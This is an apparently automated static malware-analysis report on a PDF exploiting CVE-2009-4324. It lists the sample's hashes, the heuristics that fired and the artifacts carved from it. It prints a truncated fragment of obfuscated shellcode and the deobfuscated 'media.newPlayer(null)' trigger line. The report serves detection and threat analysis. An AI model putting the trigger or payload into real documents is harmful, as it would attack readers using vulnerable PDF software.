Malicious PDF — malware analysis report

Static analysis result for SHA-256 c770257c5ff984de…

MALICIOUS

PDF

102.4 KB Created: 2010-03-10 14:50:18 +08:00 Authoring application: Acrobat PDFMaker 8.1 for Word (via Acrobat Distiller 8.1.0 (Windows)) First seen: 2026-05-10
MD5: 3fe069576989c031724c0dc467abdf83 SHA-1: 6078722909ce8a4d622cd9691e11a601cffd3730 SHA-256: c770257c5ff984defcc075a12228a7bbeb146fb8c06ab8230d8fce1dd49735dc
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link

The PDF sample contains JavaScript that exploits CVE-2009-4324, indicated by the 'media.newPlayer' heuristic. The embedded JavaScript stream, 'stream_004_off0000063a.js', is obfuscated but appears to be responsible for downloading and executing a secondary payload. The presence of multiple embedded PDF objects further suggests a multi-stage attack. The primary attack vector is likely a user interaction with a malicious PDF, leading to the execution of the exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9609

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Zdeec%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z243c%Z4207%Zdcde%Z55ee%Zdcda%Zecee%Zb881%Zdc4f%Zdcde%Z67ee%Zd09e%Z9c65%Z71c2%Z8465%Z8dd6%Z9965%Z57e2%Zc29a%Zdfa6%Zba1b%Zaa55%Zefce%Zef2b%Za527%Z719f%Z29ed%Z07ed%Z52e1%Ze4ce%Z981c%Z1dd6%Ze125%Z06dd%Z07ae%Ze72f%Z99f1%Z8239%Zb265%Zdffa%Z8a33%Zd055%Z67a5%Zc080%Z31ed%Zd855%Zef65%Z771b%Z0eb7%Zef62%Z6f35%Zd81d%Zec84%Z238d%Z10b9%Zdbe5%Z1f9b%Z8357%Z7512%Z8e8c%Z9b11%Z23da%Z1099%Z8b21%Z7516%Z9cb4%Zec86%Zdcce%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.aiim.org/pdfa/ns/id/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2660 bytes
SHA-256: a23d1d9d9335c769d70030ed9434621fead67392e7c004dfe8fb51b5d3cc0420
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
icc_00_off000104fb.icc pdf-icc-profile PDF ICC profile at offset 0x104FB 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
polyglot_child_pdf_off0000dfdb.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xDFDB 47545 bytes
SHA-256: d7a5dfa571150e80f9d883ce826c0e45ae6f8e0050f7bac229969c419242b85c
polyglot_child_pdf_off000181a7.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x181A7 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8